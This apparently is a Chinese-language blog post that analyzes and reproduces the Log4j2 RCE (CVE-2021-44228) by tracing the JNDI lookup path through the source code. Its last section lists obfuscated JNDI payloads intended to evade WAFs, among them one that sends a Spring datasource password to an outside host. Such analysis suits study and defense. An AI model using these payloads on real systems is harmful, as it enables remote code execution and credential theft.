去年12月份爆出了log4j2 RCE
的漏洞(CVE-2021-44228
),该漏洞利用难度低,危害大,且影响范围广泛,这将有可能是载入安全史册的漏洞,作为史诗级漏洞的见证者,写个漏洞分析留个底还是有必要的😄
0x00 漏洞复现
复现比较简单,先引入log4j
版本2.14.1
的包,我这里配的是lombok
+sprint-boot-starter-log4j2
,starter 2.5.7
依赖的是2.14.1
版本的log4j
或者换做直接引log4j
的包也是OK的。
通过JNDI注入利用工具在本地启动JNDI服务,根据项目JDK版本在log.error
中插入对应payload即可触发
0x01 代码分析
日志记录
跟入error方法,在AbstractLogger
类的logIfEnabled
方法中进行一层判断,满足了配置的log等级才输出日志
1 | public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message) { |
跟到isEnabled
方法下面看看是怎么判断,可以看到filter方法中302行会判断传入的level是否大于配置的level,日志输出等级从低到高是All < Trace < Debug < Info < Warn < Error < Fatal < OFF
,程序会打印高于或等于所设置级别的日志,而默认配置为error
等级,这也就是为什么默认配置下error
和fatal
可以触发,而debug/info/warn
触发不了的原因。
我们也可以通过修改log4j2.xml配置来配置日志输出等级
接着从logMessage
方法往下跟到AbstractOutputStreamAppender
类的directEncodeEvent
方法,89行跟入encode
方法
1 | protected void directEncodeEvent(final LogEvent event) { |
在PatternLayout
类实现encode
方法,接着关注toText
方法
1 | public void encode(final LogEvent event, final ByteBufferDestination destination) { |
1 | private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) { |
消息格式化
跟入toSerializable
方法,遍历类型为org.apache.logging.log4j.core.pattern.PatternFormatter
类的formatters
数组,调用其format
方法,这里只需关注第8次循环的format
方法,漏洞就是在这个format
中触发
1 | public void format(final LogEvent event, final StringBuilder buf) { |
再看看MessagePatternConverter
中的format
实现,在判断log内容包含${
后,将evet
带入的replace
方法
1 | public void format(final LogEvent event, final StringBuilder toAppendTo) { |
在org.apache.logging.log4j.core.util.Constants
类中可以看到noLookpus默认为false
1 | public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false); |
字符替换
跟入org.apache.logging.log4j.core.lookup.StrSubstitutor
类的replace
方法,里面调用StrSubstitutor
类的substitute
方法
1 | public String replace(final LogEvent event, final String source) { |
1 | protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) { |
接着看看StrSubstitutor
类,定义了一些类型为org.apache.logging.log4j.core.lookup.StrMatcher
的成员变量,如下
1 | public static final char DEFAULT_ESCAPE = '$'; |
可以理解StrMatcher
类为log4j
内置的字符匹配器,先看下该类的isMath
方法,可以看到是指定一个char数组的起始位置和匹配长度去匹配另一个char数组,若完全匹配上则返回匹配上的长度,没匹配上返回0
,该方法在接下来的substitute
方法中会用到较多,所以这里提一下
接下来看StrSubstitutor
类的substitute
,该方法就是本次漏洞触发的关键方法
先while循环去匹配字符串中的前缀字符${
接着将前缀${
后面的字符串通过while循环匹配后缀}
,在while循环中匹配后缀之前,会先判断剩下的字符串是否还存在前缀,每匹配一次前缀则nestedVarCount
加一,当该变量不为0
且匹配中一次后缀}
会减一,通过该变量来匹配出最外层${}
包裹的表达式,然后将匹配后的表达式继续往下递归,以满足嵌套的场景
接着判断是否包含:-
和:\-
分割符,然后做一些分割处理(变形思路1),这里判断较多,就不挨个描述,简单概括为
:-
是一个分割符,如果程序处理到${aaaa:-bbbb}
这样的字符串,处理的结果将会是bbbb
,:-
关键字将会被截取掉,而之前的字符串都会被舍弃掉。:\-
是转义的:-
,如果一个用a:b
表示的键值对的 keya
中包含:
,则需要使用转义来配合处理,例如${aaa:\\-bbb:-ccc}
,代表 key 是,aaa:bbb
,value 是ccc
。
在没有匹配上分隔符或分割处理完后,会调用resolveVariable
方法进行解析,将返回的结果替换回原字符串后,再次调用 substitute
方法进行递归解析
Lookup
resolveVariable
方法会调用resolver
解析器的lookup
方法,可以看到这里resolver
支持12种类型的lookup
实现(变形思路2)
接着跟入lookup
方法,来到了org.apache.logging.log4j.core.lookup.Interpolator
拦截器,该拦截器通过不同前缀分配对应的lookup
方法实现
继续跟进lookup
可以看到,我们传入的是jndi前缀,所以会调用org.apache.logging.log4j.core.lookup.JndiLookup
的lookup
方法,到这就触发漏洞了。
0x02 payload变形思路
增加:-
干扰
上面说到当字符串种包含:-
和:\-
会做一些处理,我们就可以该处理逻辑来变形绕过一些waf,例如${${p0melo:-j}ndi:ldap://127.0.0.1:1389/kk2err}
嵌套其他协议
上面分析中可以看到StrLookup
除了支持jndi协议还支持其他协议{date, ctx, lower, upper, main, env, sys, sd, java, marker, jndi, jvmrunargs, event, bundle, map, log4j}
,所以我们可以通过其他协议变形payload
1 | ${${lower:j}ndi:ldap://127.0.0.1:1389/kk2err} |
当然我们也可以组合上面两种思路,例如
1 | ${${lower:${p0melo:-j}}ndi:ldap://127.0.0.1:1389/kk2err} |
Bundle外带
方法来自浅蓝师傅博客 ,还可以使用Bundle获取特殊变量值并外带,spring环境下可以尝试获取
1 | ${jndi:ldap://jndi.fuzz.red:5/ku8r/${bundle:application:spring.datasource.password}} |
- Post title:log4j2 RCE分析与复现
- Post author:p0melo
- Create time:2022-01-22 18:01:45
- Post link:2022/01/22/log4j2-RCE分析与复现/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.